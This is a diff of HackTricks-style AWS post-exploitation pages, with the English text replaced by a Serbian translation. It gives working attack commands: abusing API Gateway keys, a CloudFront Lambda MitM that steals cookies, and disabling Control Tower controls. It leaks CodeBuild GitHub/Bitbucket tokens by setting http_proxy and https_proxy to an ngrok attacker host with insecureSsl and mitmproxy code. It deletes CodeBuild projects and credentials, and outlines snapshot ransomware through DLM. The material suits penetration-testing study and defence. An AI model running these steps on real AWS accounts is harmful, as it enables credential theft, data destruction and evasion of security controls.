API_ID="your-api-id"
|
||||
|
||||
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
|
||||
**Potencijalni uticaj**: Slabljenje bezbednosti API-ja, što potencijalno omogućava neovlašćen pristup ili izlaganje osetljivih informacija.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> Potrebno testiranje
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
|
||||
|
||||
Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jevima**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potencijalni uticaj**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
|
||||
|
||||
**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> [!NAPOMENA]
|
||||
> Potrebno testiranje
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
@@ -12,24 +12,20 @@ For more information check:
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
|
||||
Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### scenario 1: MitM gde je CloudFront konfigurisana da pristupa nekom HTML-u iz bucket-a
|
||||
|
||||
- **Create** the malicious **function**.
|
||||
- **Associate** it with the CloudFront distribution.
|
||||
- Set the **event type to "Viewer Response"**.
|
||||
- **Kreirajte** malicioznu **funkciju**.
|
||||
- **Povežite** je sa CloudFront distribucijom.
|
||||
- Postavite **tip događaja na "Viewer Response"**.
|
||||
|
||||
Accessing the response you could steal the users cookie and inject a malicious JS.
|
||||
Pristupajući odgovoru, mogli biste ukrasti korisnički kolačić i ubaciti maliciozni JS.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### scenario 2: MitM gde CloudFront već koristi lambda funkciju
|
||||
|
||||
- **Modify the code** of the lambda function to steal sensitive information
|
||||
- **Izmenite kod** lambda funkcije da biste ukrali osetljive informacije.
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Možete proveriti [**tf kod za rekreaciju ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,85 +4,73 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
For more information, check:
|
||||
Za više informacija, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Check Secrets
|
||||
### Proverite Tajne
|
||||
|
||||
If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
|
||||
Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
|
||||
Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ovi **kredencijali će biti sačuvani kao tajne u menadžeru tajni**.\
|
||||
Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuse CodeBuild Repo Access
|
||||
### Zloupotreba Pristupa CodeBuild Repo-u
|
||||
|
||||
In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
|
||||
Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup kod repozitorijumu** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
|
||||
**CodeBuild projekat mora imati pristup** konfigurisanoj izvornoj platformi, bilo putem **IAM uloge** ili sa github/bitbucket **tokenom ili OAuth pristupom**.
|
||||
|
||||
An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
|
||||
In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
|
||||
Napadač sa **povišenim dozvolama u CodeBuild-u** mogao bi zloupotrebiti ovaj konfigurisani pristup da otkrije kod konfigurisane repozitorije i druge gde postavljeni kredencijali imaju pristup.\
|
||||
Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svaki repozitorijum kojem konfigurisani kredencijali imaju pristup** (napomena: aws web će ih sve navesti za vas):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And **change the Buildspec commands to exfiltrate each repo**.
|
||||
I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**.
|
||||
|
||||
> [!WARNING]
|
||||
> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
|
||||
> Or does he? Check the next section
|
||||
> Međutim, ova **aktivnost je repetitivna i dosadna** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\
|
||||
> Ili možda ima? Proverite sledeću sekciju
|
||||
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
|
||||
### Otkivanje Pristupnih Tokena iz AWS CodeBuild
|
||||
|
||||
Možete otkriti pristup dat u CodeBuild platformama poput Github-a. Proverite da li je bilo datog pristupa spoljnim platformama sa:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
|
||||
|
||||
Napadač bi mogao da obriše ceo CodeBuild projekat, uzrokujući gubitak konfiguracije projekta i utičući na aplikacije koje se oslanjaju na projekat.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
|
||||
**Potencijalni uticaj**: Gubitak konfiguracije projekta i prekid usluge za aplikacije koje koriste obrisani projekat.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
Napadač bi mogao da doda, izmeni ili ukloni oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
|
||||
|
||||
Napadač bi mogao da obriše izvorne akreditive za Git repozitorijum, što bi uticalo na normalno funkcionisanje aplikacija koje se oslanjaju na repozitorijum.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
|
||||
**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na pogođeni repozitorijum zbog uklanjanja izvora kredencijala.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,68 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
First, check if there are any source credentials configured that you could leak:
|
||||
## Oporavak konfigurisanih tokena za Github/Bitbucket
|
||||
|
||||
Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
|
||||
### Via Docker Image
|
||||
|
||||
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
|
||||
Ako otkrijete da je autentifikacija, na primer, za Github postavljena na nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta.
|
||||
|
||||
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
|
||||
U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
|
||||
Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovna Docker slika koja će postaviti **env promenljive `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i verujete SSL CERT-u navedenom u **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
|
||||
- You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
|
||||
- Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Create a **new Codebuild project** or **modify** the environment of an existing one.
|
||||
- Set the project to use the **previously generated Docker image**
|
||||
1. **Kreirajte i otpremite svoju Docker MitM sliku**
|
||||
- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**.
|
||||
- **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u.
|
||||
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host.
|
||||
- Kada izgradite Docker sliku, **otpremite je na javni repo** (Dockerhub, ECR...)
|
||||
2. **Postavite okruženje**
|
||||
- Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg.
|
||||
- Postavite projekat da koristi **prethodno generisanu Docker sliku**.
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- As indicated in the **Github repo** you could use something like:
|
||||
3. **Postavite MitM proxy na vašem hostu**
|
||||
|
||||
- Kao što je navedeno u **Github repozitorijumu**, možete koristiti nešto poput:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
|
||||
> Verzija **mitmproxy koja je korišćena je 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
|
||||
|
||||
4. **Run the build & capture the credentials**
|
||||
4. **Pokrenite gradnju i zabeležite akreditive**
|
||||
|
||||
- You can see the token in the **Authorization** header:
|
||||
- Možete videti token u **Authorization** header-u:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This could also be done from the aws cli with something like
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovo se takođe može uraditi iz aws cli sa nečim poput
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
|
||||
## With /tmp/buildspec.json
|
||||
{
|
||||
"name": "my-demo-project",
|
||||
"source": {
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/uname/repo",
|
||||
"buildspec": "buildspec.yml"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
||||
"image": "docker.io/carlospolop/docker-mitm:v12",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"imagePullCredentialsType": "CODEBUILD"
|
||||
}
|
||||
"name": "my-demo-project",
|
||||
"source": {
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/uname/repo",
|
||||
"buildspec": "buildspec.yml"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
||||
"image": "docker.io/carlospolop/docker-mitm:v12",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"imagePullCredentialsType": "CODEBUILD"
|
||||
}
|
||||
}
|
||||
|
||||
## Json
|
||||
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
|
||||
|
||||
- First you need to enumerate the current configuration with something like:
|
||||
**Codebuild** projekti imaju podešavanje pod nazivom **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\
|
||||
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
|
||||
|
||||
- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
|
||||
- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
|
||||
- Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
|
||||
|
||||
- Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta **`insecureSsl`** na **`True`**. Sledeći je primer mog ažuriranja projekta, obratite pažnju na **`insecureSsl=True`** na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije).
|
||||
- Pored toga, dodajte i env varijable **http_proxy** i **https_proxy** koje upućuju na vaš tcp ngrok kao:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/carlospolop/404checker",
|
||||
"gitCloneDepth": 1,
|
||||
"gitSubmodulesConfig": {
|
||||
"fetchSubmodules": false
|
||||
},
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
||||
"auth": {
|
||||
"type": "CODECONNECTIONS",
|
||||
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
||||
},
|
||||
"reportBuildStatus": false,
|
||||
"insecureSsl": true
|
||||
}' \
|
||||
--environment '{
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "aws/codebuild/standard:5.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"environmentVariables": [
|
||||
{
|
||||
"name": "http_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
},
|
||||
{
|
||||
"name": "https_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
}
|
||||
]
|
||||
}'
|
||||
--source '{
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/carlospolop/404checker",
|
||||
"gitCloneDepth": 1,
|
||||
"gitSubmodulesConfig": {
|
||||
"fetchSubmodules": false
|
||||
},
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
||||
"auth": {
|
||||
"type": "CODECONNECTIONS",
|
||||
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
||||
},
|
||||
"reportBuildStatus": false,
|
||||
"insecureSsl": true
|
||||
}' \
|
||||
--environment '{
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "aws/codebuild/standard:5.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"environmentVariables": [
|
||||
{
|
||||
"name": "http_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
},
|
||||
{
|
||||
"name": "https_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
|
||||
|
||||
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označili proxy varijable (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
mitm = MITM(
|
||||
host="127.0.0.1",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
host="127.0.0.1",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
|
||||
- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- Na kraju, kliknite na **Build the project**, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~Putem HTTP protokola~~
|
||||
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)**
|
||||
|
||||
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
|
||||
Napadač sa **povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token** koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, **privremeni OAuth token koji se koristi za pristup kodu**.
|
||||
|
||||
- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
|
||||
|
||||
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Zatim, pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označile proxy promenljive (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
mitm = MITM(
|
||||
host="0.0.0.0",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
host="0.0.0.0",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
|
||||
- Next, click on **Build the project** or start the build from command line:
|
||||
|
||||
- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
|
||||
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- Na kraju, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
|
||||
> Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,17 +8,11 @@
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enable / Disable Controls
|
||||
|
||||
To further exploit an account, you might need to disable/enable Control Tower controls:
|
||||
### Omogućite / Onemogućite Kontrole
|
||||
|
||||
Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Control Tower-a:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,98 +2,90 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
## Menadžer životnog ciklusa podataka (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
|
||||
Napad ransomware-a može se izvršiti šifrovanjem što je moguće više EBS volumena, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka.
|
||||
|
||||
Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
|
||||
Prvo, koristiće se komanda za prikupljanje informacija o volumenima, kao što su ID instance, ID volumena, status šifrovanja, status povezivanja i tip volumena.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
|
||||
|
||||
Drugo, kreiraće se politika životnog ciklusa. Ova komanda koristi DLM API za postavljanje politike životnog ciklusa koja automatski pravi dnevne snimke određenih volumena u određenom vremenu. Takođe primenjuje specifične oznake na snimke i kopira oznake sa volumena na snimke. Datoteka policyDetails.json uključuje detalje politike životnog ciklusa, kao što su ciljne oznake, raspored, ARN opcionalnog KMS ključa za šifrovanje i ciljni nalog za deljenje snimaka, koji će biti zabeleženi u CloudTrail logovima žrtve.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
|
||||
A template for the policy document can be seen here:
|
||||
|
||||
Šablon za dokument politike može se videti ovde:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
